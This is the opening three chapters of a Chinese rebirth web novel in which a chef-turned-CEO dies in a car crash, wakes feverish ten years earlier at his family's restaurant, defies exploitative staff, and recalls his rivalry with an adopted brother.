《万人嫌厨神试图摆烂》 1、第一章 姜汀州突然间觉得自己的身体轻了起来,像是羽毛一样飘在半空中。 他脑子里像走马灯一样涌出许多记忆,想起了很多以前的事情。 他想起自己十七岁那年刚刚拜师学艺,还没成年,特别瘦,统一的厨师服穿在身上都晃荡,傻了吧唧,神色紧张,对着大师傅规规矩矩地磕了三个响头,仪式结束,一抬头就问了个蠢问题。 “大师傅,什么样的厨子算是最好的厨子?” 像个弥勒佛一样的王大师傅像是知道他话里有话,哈哈笑了两声,没有说什么没有最好只有更好的套话,回他:“做咱们这行的,好不好,自己说了不算,要大家喜欢的,做出来的菜都交口称赞的,就是最好的。” 似乎是知道姜汀州心中所想,温和慈祥的大师傅又补充了一句:“汀州,我知道你刚回家才两年,他们不了解你,你之前也吃了不少苦,但相信我,其实你才是更优秀的那一个,你认真跟着我学,你一定会是行业内最年轻的主厨,也会是最好的厨师。” “只要有本事在,你做的更好,所有人就会更喜欢你的。” 姜汀州嘴上说着“谁要姜家那些人喜欢”,心里却受到莫大的鼓舞。 他把这句话记了很多年,心里一直信奉着只要足够努力,一切就会变得更好,但熬到如今,却觉得难受。 身体的轻松只有一瞬间,随后他像是被绑着石头沉入水底一样,浑身都变得沉重。 他想大口呼吸却被堵住,全身都泛起细细密密的疼痛感,这种感觉不知道持续了多久,直到耳朵边响起呼叫声,他才像是找到了空隙一样,总算找回了一点呼吸。 “主厨,姜主厨……姜汀州!你赶快醒醒,客人就在路上了,怎么还有心思在这里睡觉,要准备开火了!” “他昨天就发烧了……” “就三十九度而已,年轻人身强体壮的,有什么关系?‘酿江山’那几道菜除了他还有谁能做?撑过这几个小时,之后有的是时间休息!” 姜汀州眼睛还没睁开,耳朵就先被这许多声音吵醒了。 他浑身发烫,头重脚轻,眼皮像有千斤重,却有人叽叽喳喳,还一直摇晃他,伸手拍他的脸,过了一会儿又“啪”地一下给他额头上盖了块冷毛巾,还试图给他喂水,叫他赶紧醒来。 姜汀州张嘴想骂哪个不长眼的敢这么折腾人,但喉咙却十分嘶哑,他半昏迷着,怎么张都张不开口,于是旁边人使劲灌水是灌不进去的,于是水沿着姜汀州的唇角流到他衣领里面,冰一样的冷,让他狠狠打了一个寒颤,这种体验仿佛在地狱里受刑一样。 他的确是死了。 就在刚刚,他驾车的时候翻滚下高架桥,自己被挤压在车厢里,嘴角的血顺着脖颈流满全身的时候,也是这样冷冰冰的感觉。 不过这也有可能只是他的错觉,车祸巨大的冲击力之下,应该是当场死亡,不会什么额外的痛苦才对。 脑袋昏昏浑身发疼的姜汀州想到这里,随后便慢半拍地意识到了什么。 ——等等,我不是咽气了吗? 姜汀州还深刻记得那种感觉。 他为了一份重要文件,凌晨三点自己开车去公司,出发的时候就已经感觉到有些不舒服,他没当回事,结果路上突然心跳加速呼吸短促,像是急性心绞痛,眼前一片空白,车子猛然一偏,便连人带车一下翻滚下了高架桥,车祸就是一瞬间的事情,完全来不及反应。 他在弥留之际吐的那口血,既是被压的,也是被气的。 姜汀州奋斗一生起起伏伏,万万没想到自己会死得这么憋屈。 猝死车祸的时候他才三十二岁,正任姜氏食品的总裁,是食品行业风头正盛的新贵企业家,本来生活成功且平静,最近半个月突然出了点小意外,他不得不比平时更忙碌一些——因为他曾经打败的异父异母的弟弟姜柚在四年后突然回来了。 小狐狸精姜柚一向很有本事,再次靠着他那身绿茶本事在国外勾到个靠山,偷偷跑了回来,暗地里买通了几个公司中层和小股东,闹得公司里不大平静,非要再和姜汀州争一次。 但这不过是千帆过尽的小风浪而已,卷王姜汀州岂会怕他这个手下败将? 他和弟弟姜柚的争锋由来已久,斗来斗去,不差这一回。 姜汀州五岁的时候因意外走失,十五岁被姜家找回来的时候,管家皱着眉头踏着菜市场的泥水走进来,找到了正拿着剔骨刀在肉铺打工的姜汀州,案板边上还放着他被血水打湿的课本以及刚及格的试卷,姜汀州抬眼看他,一身的血腥气。 他看起来和富裕的姜家格格不入。 回家之后,姜汀州和自己被领养的同岁的“弟弟”姜柚见面成仇,明争暗斗,争了十几年。 为此,他处处拔尖,早早就学做厨师,卷生卷死,各类厨神大赛奖牌奖杯拿了满满一柜子,姜柚攀不上的陆家继承人他也能费尽努力追求到手,硬是从一个不怎么受家里待见的人拼成姜氏举足轻重的人物。 哪怕后来右手因意外受伤再也做不了菜,他也能借此把姜柚逼得净身离家出国远走,熬过从厨师转型为公司高层管理的阵痛,一步一步,靠自己卷成了姜氏说一不二的总裁。 现在的姜汀州,早就不是刚回到姜家时处处受气的少年。 虽然姜柚还有本事回来确实出乎他的意料,可他早就已经是赢家,如今靠着自己的经营在姜氏根深蒂固,完全可以在面对这位久违的老对手给对方沉重一击,好让姜柚再次认清楚谁才是这个家真正的主人。 姜柚心里也清楚自己胜算不大,几次递话过来说着“只是想和哥哥见面,把以前的事情说清楚”,但姜汀州一个标点符号都不信。 他发过誓,绝对不会让自己好不容易平稳的人生再有任何意外发生。 然后,最大的意外发生了。 在召开董事会前一天,胸有成竹打算再碾压一次手下败将的姜汀州突然猝死,他车祸后摔下高架桥,完整的尸身都不知道能不能留下,莫名其妙给本来毫无胜算的姜柚送了个大的。 心态炸裂的姜汀州从心理到身体都非常难受,一口气憋在心里上不去也下不来,而且他都已经死了,却有人非要把他叫醒,喂水不成还不放弃,又用了大力气把他半抱了起来,让他上半身靠在墙上,接着强行喂了药进来,和灌鸭子一样。 那汤药巨苦无比,入口还烫,和刚刚的凉水像是冰火两重天,姜汀州身上本来就不舒服,哪里喝得下去,简直像是受刑。 他实在咽不下去,反而呛了一口,嘴里都是中药的苦味,之后便惊天动地一样地咳了起来,这下倒是渐渐清醒了。 “醒了!他总算醒了!” 姜汀州现在身边围着三个人,看他睁开眼睛都高兴起来,完全不顾他咳得整张脸都是红的,七嘴八舌地说着:“快,主厨,你得去厨房准备了,快来不及了,大家都在等你。” “你知不知道你睡了多久,简直太耽误事情了!” 姜汀州勉强睁开了眼睛,才把这些聒噪的人看了个清楚,这一下让他都愣了。 真奇怪,他都多少年没见过这些人了。他眼前的三个人,都是姜家餐厅“宫宴”老店的员工,算是他的老熟人。 姜家是美食世家,祖上是御厨,旗下有连锁的高端中餐厅,名字就叫做“宫宴”,“老店”是“宫宴”的第一家店,这些人分别是老店的店长、大堂经理以及副主厨,不过那是应该是十年前的事情了。 这三个人对姜汀州的态度不大客气,特别是这位姓杨的店长,明知他刚刚醒还发着高烧,还急着催他去工作,而且一边说话一边上手拉他。 “你发什么愣啊?” “客人们都在路上了,你知道赵彤知吧?那是当红的流量明星,还有那些媒体记者,他们对外发一条宣传信息,可是花多少钱都买不来的,他们虽然是临时定的位置,机会难得,但我知道你身体不舒服,为了咱们宫宴撑一撑,好不好?” 姜汀州身上发虚,被他们拉着起了床,但他实在站不起来,身体一软,又坐了回去。 等会儿。 他觉得自己还有点不大清醒。 我不是车祸了吗? 而且,姜汀州记得很清楚,明明自己在姜氏有了话语权之后,第一件事就是把这群倚老卖老又没有什么本事的蠢货全换了,这些人怎么还在自己眼前蹦跶? 这不合理。 但他环视一圈,眼前却全是不合理的事情。 他身处的地方是老店的休息间,鸟笼一样小,这里离后厨挺近,二十岁出头的姜汀州经常住在这里。 他那个时候就有熬夜加班的习惯,为了连夜研究新菜愿意挤在这里吃苦,但这小休息间早在老店重新装修之后就改没了,但老店改造那都是好多年前的事情了。 然后姜汀州再一偏头,看到墙上挂着的电子日历,上面清晰地写着2016年4月1日。 这是……十年前? 他看清楚了时间,便一下子真的清醒了。除了日历上的时间,姜汀州还低头看了看自己的右手,反复确认他的右手是完好无损的。 除了被烫出来的几个泡以及老茧,这只手看起来真是十分正常健康,甚至有力。 他慢慢地伸手舒展了一下每一根手指,都是非常有力、健康,不是神经断裂、努力修复了也没办法用什么力气的样子了。 “主厨,主厨,”旁边的人看他发愣,还在推他,一摇晃,身上那不舒服的感觉就越发明显,“你能站得起来吗?厨房都在等你了。” 这不像是梦,更不是幻觉。 他总算可以确认,自己莫名其妙死亡之后,又重生在十年前。 姜汀州深深吸了一口气。 或许别人重生回十年前再来一次会高兴,但他意识到这一点之后,他只觉得自己脑子“嗡”地一声就要炸开了。 不是,谁要重生啊? 老天爷到底讲不讲道理啊?谁要在好不容易功成名就的时候车祸回到自己最苦的时候? 哪怕右手回到完美无缺的时候,他也感觉不到半点高兴,只觉得无比窒息。 他哪怕两只手断了,都不愿意回到这个时候。 姜汀州记忆力很好,稍清醒一些,就记得此时二十二的年轻的自己就已经实现了最初的愿景,当上了正儿八经的行政主厨,可他这主厨表面风头正盛,实际做牛做马。 就在一个月前,姜汀州代表姜氏去参加了官方电视台举办的厨师大赛,赢了金奖回来,决赛的那几道菜,特别是一道由鱼肉、花胶配着野山菌制作的“酿江山”,以鲜味致胜,被评委赞不绝口,宫宴也由此声名远播,吸引了很多新客。 这段时间,老店这里每天都是爆满,偏偏这几道菜都不好做,其他人做都不是姜汀州那个味道,总是差一些,只能全都交给他。 能者多劳,他这个新上任不久的主厨做得很辛苦,他实在太过年轻,背地里不少人议论不公平,他只好再多做一些,好叫大家心服口服。 一般来说,行政主厨的主要工作都是管理,指挥下面人干活就好了,很少亲自做菜,但姜汀州不一样,他几乎什么都做。 若只是做菜,他还能扛过来,但姜汀洲同时还在接受冠军的采访、参加宣传活动、维系客人,还得盯着食材挑选和菜单,好时刻更新菜色,满足挑剔的时刻,有些特殊的客人来店点名要见主厨,他也得顶着冠军的面子,出去交际。 可以说,他把店长、大堂经理以及副主厨的活都接了一部分,甚至工作完了之后还得挑灯学习,因为他要准备在下半年代表姜氏参加国外的比赛和各类评选。 哪怕是拉磨的驴都没有这么干的。 姜汀州不是铁人,所以他病倒了,昨天就开始发烧,还硬撑着把工作做完了,今天早上实在撑不下去,便请了假,吃了药在休息室里睡觉,反倒越烧越高。 他身体不适的事情早就告诉店里的人,但店长这些人明知道他身体不舒服的情况下,不仅没有来照顾他发现不对及时送医,反而临时接了一桌重要的客人,在这个时候都想着继续压榨他。 二十二岁这一年,是他刚当上姜氏管理层不久的起步阶段,所以哪怕发烧的人连刀都不一定能握稳,但上辈子的姜汀州听完之后,真的站起来去做了,每一道都尽善尽美。 这个时候的他,只要在眼前吊一块“打败姜柚证明自己”的胡萝卜,就能不顾一切往前冲,他甚至硬撑着去交际,然后他出门之后就晕倒,病到肺部感染,住了一个礼拜的院才好过来。 要说后悔吗?他并不后悔。 这十来年,姜汀州虽然付出许多代价,他走的每一步回望过去都不后悔,哪怕是受伤后再也无法完全恢复的右手也替他换来了足够利益。 但这些事情要是让他从头再体验一遍,那就是两回事了。 重生的姜汀州并不兴奋,只想骂人。 比起手受伤的痛苦,二十多岁的时候,那些如同头悬梁锥刺股的难熬日子,才是他真正不愿意再体验一回的事情。 现在,明明吃尽苦头已经是赢家的他发着高烧,浑身无力,眼前这三个早就被自己辞退的煞笔都敢对自己颐指气使。 他不如车祸直接死了的好。 他越想越憋屈,只觉得一股气从身体里直冲到天灵盖,此时这三个人还在他耳朵边叽叽喳喳,他烦的要死,开口道:“给老子闭嘴!” 姜汀州嗓子还是嘶哑的,吼出来像是被刀割一样疼,有眼睛的人都看得出他现在身体和心情都极差,但眼前三人还是不放弃。 “就这一桌,你坚持一下,”店长根本不听,还在催促他,只不过声音稍微温和了一些,“汀州,加把劲,机会难得,只要撑起老店这块招牌,以后姜氏谁敢说你一句不好?我们这些人自然会站在你身后,姜柚是没有办法和你比的。” 他不提姜柚还好,一提这个名字,姜汀州太阳穴都疼。他歪着身子靠在墙上,打断了店长的话,道:“我嗓子疼,先去给我倒杯水来。” 店长姓杨,中等身材瘦长的脸,还长了一双三角眼,反问道:“我?” 他以为自己听错了,以前姜汀州可从来不会用这种命令式的语气和他们这些在姜氏有资历的老员工说话。 杨店长和姜父还有些七拐八绕的亲戚关系,平时以姜汀州的长辈自居,还从来没被人这样使唤过,第一反应是生气,但想着现在情况特殊,还是忍气吞声,破天荒地转头给他倒了杯水。 但递到姜汀州手上后下一秒,这杯冷水就被泼到了他脸上。 水一下进入鼻腔,他呛得厉害,冷水更顺着脸颊流到衣服里面,永青市这个季节的天还冷着,今天还下了一场雨,这休息间也没有暖气,他打了个寒颤,又被呛得咳了起来,过了一段时间还顺过气了,骂道:“姜汀州你干什么?!” “我以为你不知道呛水会难受呢,所以给你试试,”姜汀州靠在床上,他嗓子还哑着,听起来没有什么力气,“去,再给我倒杯水。” “你!” 杨店长生气,却不敢拿他怎么样,只是瞪着他,大堂陈经理忍气吞声给他倒了杯水,但姜汀州没接,只伸手碰了一下杯壁,道:“你给病人倒冷水?我要温的。” “没有温的。” “那就现在烧水,给我兑成温的,煮的汤药这么烫,烧水不会烧?”姜汀州道,“去啊,愣着干什么?瞪着我这水能变温?” 他这样子,一时反倒没有人敢惹他。 三人面面相觑,不明白姜汀州的脾气怎么突然变成这样。 以前他不会这样说话,更不会这样看人,半眯着眼睛,下巴微微抬起,即使病着也气势十足,开口说话嗓子粗砺,像是被砂纸磨过一样,眼下发青,整个人从上到下都显得阴郁,好像身上都飘出一股浓重的黑气和怨气来,仿佛厉鬼一样,看着莫名吓人。 2、第二章 三人对他这种态度很不适应,但毕竟是要求他出去做菜,那几道菜除了姜汀州没有人能做得出来。 性格软弱一些的副主厨平时对他还算尊重,于是出来打圆场,说着是该喝点温水身上更舒服,他再去找些药来,先出去烧水了。 但姜汀州没停,他又把头顶的毛巾拿了下来,一把扔给了大堂经理。 “你也别闲着,去给我换块新的毛巾,”他道,“干净的,浸了水但是不能太湿,备用都也准备好,再给我找身干净衣服过来。” 惊疑不定的大堂经理先是看了一眼店长,但靠在那里病恹恹的姜汀州的眼神望过来,他还有点害怕,往后退了一步。 “你去吧,”杨店长咬牙道,“再拿点退烧药过来,店里有的都给他拿过来,再加上物理降温可能有点作用,你也顺便给我拿块干净毛巾,快点,时间来不及了。” 于是大堂经理也赶紧出去了。 店长刚刚拿纸巾擦完脸上身上的冷水,但姜汀州也没让他停下来:“你杵在我面前干什么?先去让厨房那边备菜,不是时间来不及了吗?” 杨店长本来憋着气,现在一看这意思是松口了,问道:“汀州啊,你这是同意去做菜了?” 姜汀州靠在那里望着他,勾着嘴角哼笑了一下。 只要他没说不行,按杨店长的理解那就是可以。 在他的印象里,只要不停地给姜汀州压力,就一定能得到自己想要的。 于是杨店长迅速忽略了他身上所有的异常,打蛇随棍上给他提要求:“这次来的人多,那几道招牌菜都要做的,你可得比以前都要上心,知道吗?” “好啊,”姜汀州慢吞吞伸手擦了擦脸上的冷汗,咳了几声,哑着嗓子开口,“除了酿江山那几道得奖的,还有店里最受欢迎的那道鲜春煲,还得加上我刚刚研究出来的蜜莲子的点心,我至少得亲自做个五六道菜,给这些贵客来个别人都没有的新鲜吃头,你觉得怎么样?” 杨店长没听出来他语气里的不对劲,他这样一提,光想起那让人魂牵梦绕的滋味了。 蜜莲子甜而不腻,酿江山鲜香十足,鲜春煲是姜汀州根据腌笃鲜改良的一款菜,不知道他是怎么琢磨的,就这样简单家常的一道菜都能出奇出彩,热气腾腾,一直都很受店里欢迎。 今天下着小雨,刚好适合来这样一锅热乎乎带着乡野味道的菜,非常应景。 “好哇,”他越想越觉得真不错,真给自己长面子,高兴之余几乎要把姜汀州生病的事情都忘了,“我觉得他们肯定非常满意!” “那还等什么呢?” 要不是没力气,姜汀州简直要伸手给他鼓鼓掌了:“你赶紧让厨房那边去准备吧。” 杨店长忙不迭的出去了,三个人这样陆陆续续一走,小休息间一下就空了。 姜汀州当即从床上坐了起来,从衣柜里拿了自己的旧外套,摸了摸口袋,确定钱包和手机都在里面,然后推门出去,但不是去厨房,他脚步一转,朝着后面去了,走廊一拐角,便是室外的防火楼梯。 宫宴的老店在永青市老城区最好的地方之一,隔壁就是人民公园,靠着永青湖畔,像个园林一样,亭台楼榭,占了一千多平的地方。 现在正是春雨霏霏,倘若坐在宫宴老店里面靠窗的位置,便能看见细雨迷蒙之下,永青湖畔杨柳依依碧色连波,是价值千金的好风光。 但如今姜汀州仅戴着外套的帽子走进雨里,发烧的身体只觉得忽冷忽热,走路都是打飘的,这姜家的富贵如今和他没有半毛钱关系。 他从小花园走过后门出去,走几百米便是公园的出口,就那么一会儿,他的鞋就已经踩湿了,脚趾冰冷,好不容易打到了的士去最近的医院,因为下雨关着车窗,司机不舍得开空调,车厢里潮湿哄臭的气味扑面而来,更让他觉得头痛。 无数的感受不断在提醒他,这令人痛苦的重生事实。 ——他数十年来奋斗得来的姜氏,他的库里南和迈巴赫、贴身秘书和私人医生都在一瞬间消失不见了。 他甚至连生气大骂老天爷的力气都没有了。 但要是留在宫宴面对那三个傻逼,或是倒在外面的雨里,都只会让他更加难受,姜汀州还是硬撑着到了医院。 人民医院里人挤人,他一个人挂了号,医生给他量了温度,发现他已经烧到三十九度五了,浑身发烫,直接被建议住院,办住院的时候护士看他病成这样一个人过来都十分惊讶,让他留一个紧急联系人,姜汀州想了半天,道:“不留行不行?” 听到这样的问题,他头痛更甚。 护士诧异:“那你现在这种情况需要人照顾啊,总得留个家属的电话通知他们过来。” 姜汀州当即拒绝,犹豫都不带犹豫的:“不找家属,没有家属。” 他对自己的家人没有任何不切实际的幻想。 护士看他一眼,眼神里有一些同情,又接着建议道:“万一你身体有什么突发情况,我们也得联系人才行,嗯,你在本地有女朋友吗?或者其他有时间能过来的朋友也行。” 姜汀州刚想说自己单身,本地没有什么朋友,但是话到嘴边,突然意识到什么。 他现在二十二岁,不是三十二岁,并不是单身,没有女朋友,倒是有一个刚交往不久的男朋友。 姜汀州就谈过这一场恋爱,从二十二岁到二十八岁,整整六年,他和男朋友陆白屿在一起的时间节点很特殊,刚好是16年春节后不久,姜汀州拿到比赛冠军的时候就鼓起勇气和对方表白了。 他想到这段关系更是脑仁突突地疼,张了张嘴,半天也没回答出来,突然往后一仰,晕了过去。 护士吓了一跳,一下就站了起来,但眼前的病人已经失去了意识,幸好医院人多,旁边的人搭了把手,才把他扶起来。 姜汀州还隐隐约约听到有人在自己耳边叹道:“这么年轻,可怜哦……” 在重生之前,是不可能有这样的情况的,不会有谁觉得姜汀州可怜。 姜总并不需要什么亲属和恋人,不用开口就有大把人鞍前马后地照顾他,而不是像现在这样,他一个人一头栽倒在冰冷的地板上。 他又回到了那个不怎么讨人喜欢,拼命努力到熬进医院也没人关心的噩梦一样的时候。 姜汀州心情差到极致。 他一直觉得老天爷对自己有着深深的恶意,从一开始到现在。 姜汀州本是姜家的独生子,当时的姜氏虽然没有现在这么有钱,但宫宴餐厅小有名气,算得上是衣食无忧富裕的家庭,偏偏他五岁时走失,一场大病之后什么都忘了,人生也由此截然不同。 他被屠夫捡到并养大,能拿动刀的时候就继承了养父宰猪的手艺好自食其力,养父家徒四壁,懒惰酗酒,毫无责任心,他只好从小就四处打工,生活艰难,差点成了九年义务制教育的漏网之鱼。 而姜柚却因他的走失被家里领养,代替他在富裕的姜家长大,像个小王子,礼貌得体,聪明优秀,第一次见面的时候,带着微笑声音软软的管他叫哥哥,那真是一副人畜无害谁见了都爱的样子。 很巧,他们两个同岁,甚至同一个生日,姜柚只比他晚一个小时出生。 姜汀州之前过着那样艰难困苦的生活,哪里见过像姜柚这样光彩夺目的天仙,彼时家里父母收了消息正从外地赶回来的,是姜柚主动带他去洗漱换衣服,听管家说,弟弟还把自己的房间让给了他。 姜汀州感动不已,觉得自己苦尽甘来,一脚踏进了天堂,他在洗完澡出来,又换了新衣服去见父母。 妈妈反应倒是正常,像是已经在外面哭过,眼圈都是红的,浑身微微颤抖,远远看见他就已经落下泪来,似乎有些不敢置信,过了一段时间才走上前来,仔细看着他的眉眼,之后便大哭不止。 父亲倒是镇静许多,说了一句“回来了就好”,但在打量了姜汀州之后,便皱着眉头问他:“你……你怎么穿小柚的衣服?这是陆家之前特意给他定的礼物,宴会他要穿的,你穿这个不合适。” 那个时候姜汀州还不知道“陆家”意味着什么,更不知道这是姜家最为重要的靠山,但他听得出父亲语气中的尊重和谄媚,以及他有点奇怪的关注点。 他脑子一下清醒了几分。 低头一看,这件衣服确实娇贵,之前没有穿过,姜汀州的身形比姜柚要大一些,这昂贵私人定制的衣服是量体裁衣,撑一撑就变形了,不能再穿去正式场合了。 他低头看了看衣服,又看了看姜柚。 “爸,算了,哥哥不是故意的,”这个时候,姜柚走上前来,叹了口气,“这件事还得怪我,是我东西太多了,我那个新的房间不太能放得下,一些衣服就放在旁边衣柜里,哥哥或许是看着喜欢才穿上了,也有可能是一不小心拿错了,他不知道的。” 他看起来十分大度,还是那副温温柔柔的样子,倒显得姜汀州不问自取,没有教养。 姜父皱了皱眉头,道:“汀州,你既然回了家,不能把外面的坏习惯带回来,要讲规矩,想拿什么东西都要说一声,更不要随便拿弟弟的东西。” 他还记得姜柚那时背对着父母看自己的眼神,让姜汀州一下从飘飘然的梦里清醒起来。 彼时的姜柚年纪还小,还没有以后那种坑人的时候脸色变都不变的心性,他也不会想到姜汀州看似手足无措懵懵懂懂没见过什么世面,却不是什么逆来顺受的性格。 “这件事确实不能怪我,”姜汀州当即直言怼他,“我出了卫生间这衣服就放在那里,我以为是给我的就穿了。第一,如果这件衣服真的那么重要,你搬东西应该先搬这件才对,你反而留下来了。第二,我根本没有开过衣柜,也没有拿过任何东西,但房间里该拿的东西都拿走了,怎么这么就漏了这么一件衣服?你的新房间有小到一件衣服都放不下吗?” 姜汀州彼时的性格还很轴,觉得谁是谁非要定个分明,如果是冤枉了他就得道歉。 姜柚反应很快,泫然欲泣委委屈屈说了声对不起,说自己匆忙搬房间所以忘了,并不是有意的,但姜汀州觉得这根本没有道理,扯着姜柚非要他把事情说清楚。 谁知,在争执过程中,姜柚一下栽倒,头磕在茶几上,甚至磕出血来,显得是姜汀州故意推他一样。 最后被父亲骂得理不饶人鲁莽冲动的却是姜汀州,就连温柔的母亲也来劝他别不依不饶咄咄逼人。 姜汀州自那之后便认识到了,这个世界上还有死绿茶这种生物,这个好不容易回到的家也不像他想象的那样幸福温暖。 他们并不是亲生的兄弟,甚至在姜汀州回来之前,许多不明内情的外人都不知道原来姜柚是领养的,姜家一直对外宣称,原来就是双胞胎,只是走丢了一个。 姜汀州一回来,两人根本不像双胞胎,亲生和领养的这个事实完全被挑破,姜柚的处境尴尬,自然是恨他讨厌他的,从一开始就想把他逼走。 这小绿茶在家里不遗余力地挑拨他和父母之间的关系,在学校也让转学的姜汀州孤立无援,家里父亲喜欢姜柚,亲戚们便也偏向他,管家和家里都佣人们更是看着姜柚长大,学校里是姜柚的同学朋友,他甚至还有粉丝——彼时的姜柚在电视台做一档美食节目,他是常驻嘉宾。 姜母倒是唯一一个不怎么偏心的人,但她柔柔弱弱,身体也差,是莬丝花一样的性格,帮不上忙,实在改变不了什么。 这么多年的感情和培养,不是什么都没有的姜汀州凭着血缘就能弥补的。 姜汀州明明是经历更可怜的那一个,但他确实没有姜柚讨人喜欢,也不如他会耍心眼子,刚回来的时候,他性格太过直来直去,不会转圜,无法应对得当,在学校跟不上课程,成绩很久都是垫底的,更是在姜家的圈子里格格不入。 特别是姜父,从第一次见面便知道,他更喜欢由自己一手培养起来的更加体面的人缘很好的姜柚。 姜汀州又长了一副不太好相处的样子。 他其实是很好看的,挑着父母的优点长的,五官很艳丽,艳丽得有些攻击性了,抬起头来看人眼神像是小豹子一样,可惜的是,他那时候脸颊有一道没消的疤痕,很明显,从眼角到嘴角,笑起来的时候显得更加狰狞。 那是他和高年级的同学打架留下来的,融合成了一种很有攻击性的野性,一看就不好惹,这道伤疤过了两三年才渐渐消掉了痕迹,让他一直看起来像个小混混。 各种无形和有形的排挤与区别对待让姜汀州过了一段很苦的日子,比没回姜家之前的穷苦还要让人煎熬。 直到他在十七岁之时,和姜柚的一次冲突爆发剧烈,忍无可忍的姜汀州打断了姜柚的鼻梁,被拘留,面临被学校劝退无缘高考,人生仿佛就这样被断送了。 他不得不从这样的绝望之中生出奋斗的希望来。 ——姜柚得来的一切本应该是属于他姜汀州的,凭什么要被这样冤枉欺负? 姜汀州是不信命不认命的人,在养父家苦成那样都能挣扎向上,更不觉得自己会比任何人差,想不明白自己明明没有做错什么,却是这样的境地。 他立志这辈子一定要和姜柚争个上下高低,不死不休。 他退学之后,经人引荐见了王大师傅,那是国内有名的国宴厨师,大师傅见他十分有天赋,收他做了关门弟子,悉心培养,寄予厚望。 姜父厨艺一般,平时的心思在于公司的管理管理,姜柚也循着姜父的路子,做菜参加节目更多是为了作秀,但姜汀州不一样。 王大师傅夸过他,没见过天赋比他更好更努力的孩子。 姜汀州十分努力,把师傅的本事学到了手,十九岁的时候就进了姜家餐厅,从后厨最基础的岗位做起,二十二岁便做了当家的主厨。 此时正是他和姜柚竞争白热化的时候,两个人已经明里暗里争了好几年了,这一段时间又是极度关键的时期。 姜柚的能力是很强的,这一点无法否认,否则不会纠缠了这么久,姜汀州刚开始的好几年一直被他压着打。 姜柚商业嗅觉非常敏锐,很早就开始打造网红人设,做的那些菜未必好吃,但是拍得好看,他又长得漂亮,人和菜一样秀色可餐,在如今自媒体刚刚兴起的时候,就已经是美食赛道的头部网红,粉丝量破了千万。 他如今已经开始琢磨流量变现,去年便在姜氏打造了新的餐厅线“香蕴半岛”。 比起吃尽苦头的姜汀州,姜柚是如此顺利,像是被老天爷特别眷顾的一般,无论做什么都能成功。 不像“宫宴”是传统的中式风,他走的是国际化奢侈品风格,捏着大笔的投资,花了大价钱装修,各方面审美都是顶级的,随手一拍就很好看,靠着餐厅环境和各种服务就火了一把,服务员都是帅哥美女,菜色主打的是全球顶尖食材,价格也是高到离谱,菜色贵上天但是极难预约,成了出了名的网红店,刚开业不到一年,流水就直逼宫宴老店,甚至一度超越。 姜汀州从来不否认姜柚这个死对头的能力,但他始终觉得这种凭借流量和噱头弄出来的东西不长久。 像餐厅这种实业,可以利用网络的力量,却不能长久地依赖,还是稳扎稳打的好。 他坚持践行着自己的理念,亦在这个时候成了宫宴的主厨,两个人实际已经成了姜氏的中层管理之一,由此,在去年年底,姜父就定下规则。 ——以宫宴老店和香蕴半岛第一季度的流水高低为评价标准,姜汀州和姜柚做比较,赢了的那个便做姜氏新的副总。 同为二十二岁的姜氏“兄弟”如今的比较不再是小打小闹,是对公司发展的路线之争,更是争夺姜氏继承人的第一步。 说起来好笑,姜汀州之前有段时间甚至怀疑过自己是不是生在一本小说世界,姜柚就是那个万人迷主角,几乎谁都喜欢他,他做什么都可以轻易成功。 而自己,就像是那个万人嫌对照组。 他上辈子如此拼命,哪怕发烧都要上去做菜是因为在这一次比拼上,总算不是被姜柚压着打,可以有一个相对公平的机会,和他站在同一水平线上比较了,这机会对他来说是如此珍贵,好像他为此怎么付出都不为过。 姜汀州总想证明,世界上没有什么注定的主角,只要自己足够努力,那他也可以做到。 但谁能想到,他怀揣着希望拼到最后,最终还是为姜柚做了嫁衣裳。 姜父那个时候已经中风偏瘫了,一句话都说不清楚,姜母一向身体不好,他车祸一死,得到一切的人仍是老天爷的宠儿姜柚。 他证明来证明去,不知道证明了个什么东西。 姜汀州想到这里,再次被气醒了。 3、第三章 以前的姜汀州总是十分坚强,无论什么困难都可以咬着牙挺过来,但他努力得来的一切瞬间清零,再坚强的人也得心态炸裂。 他在病中想起这许多往事,睡也睡得不安稳,像是做梦,又像是回忆往昔,醒的时候,已经是第二天上午了。 他昏睡了十几个小时,睁眼之时口干舌燥,想要喝水,声音却是哑着,眼前也是模糊一片,是身边不知道什么人伸手把他扶了起来,给他慢慢地喝了水。 动作很温柔,不像是之前那样硬把水往他嘴里灌了,水的温度也是刚刚好入口的温水。 刚醒的姜汀州脑子浆糊一样,一下分不清今夕是何夕,喝完水缓过来之后,开口就说了一句:“谢谢你,林秘、林秘书……” “你说什么?”回答他的却是个陌生的声音,听起来是个年轻的女孩子,“我是你旁边床位的,等会儿啊,我现在给你叫护士。” 姜汀州喝了水就渐渐醒了,他睁开眼睛,环视周围一圈,是医院的普通病房。 病房有些旧了,天花板都灰蒙蒙的,如今又哪还有什么林秘书陪着他呢? 他旁边床位躺着的人伸了脑袋过来看他,是个穿个花格子衫的陌生中年阿姨,看着很面善,嗓门大,直接开口问他:“后生仔,你觉得怎么样啊?你昨天突然晕倒,吓了我们一大跳。” 姜汀州高温惊厥,不仅护士吓了一跳,旁边办住院的其他人也吓了一跳,于是一堆人一齐上去把不省人事的他扶了起来。 花衬衫阿姨是伸手帮忙的人之一,刚刚给他喂水的是来照顾她的女儿,和姜汀州一个年纪,圆脸圆眼镜,看起来斯斯文文的,见他喊渴,便给他喝了温水。 这一家子都是热心肠,阿姨和他的病房又刚好分在一起,只有他们两个病人住在这间病房,看他可怜,就过来帮了一把手。 刚刚喂水的圆脸小姑娘仔细打量了姜汀州几眼,嘟囔一句:“你看着眼熟,我好像在哪见过你,你最近是不是上过电视啊?” “行了,你别犯记者的职业病,”花衬衫阿姨说她,又看着醒了之后呆呆愣愣的姜汀州,叹道,“你们年轻人,真是压力太大了,都病成这样了,还惦记着工作着。” 姜汀州眼神发愣,躺在那里仿佛一具尸体,听她絮絮叨叨,才知道自己昨天晕倒后发生的事情。 他晕倒的时候身上还带着手机,当时恰好就有人打电话过来,病人昏迷不醒,医院需要进一步确认他的身份信息,也需要联系认识他的人来照顾。 正在着急的时候,这位办好了住院的热心阿姨在旁边站着,没多想,手一伸就接了这个电话,结果对面张口就骂人。 “姜汀州你tm怎么敢跑的?你敢耍我们是吧?今天这件事如果解决不了我绝对不会放过你!你给我赶紧回来,得罪了这些客人否则你等着回公司挨骂吧!” 这语气凶得很,一听像是催债的,仔细问了才知道是他的上司催着人去工作。 那边听到医院回复,知道他已经晕过去短时间内不可能醒过来,更不可能赶过来,又狠狠骂了一句,然后立刻挂了电话,没有一句关心。 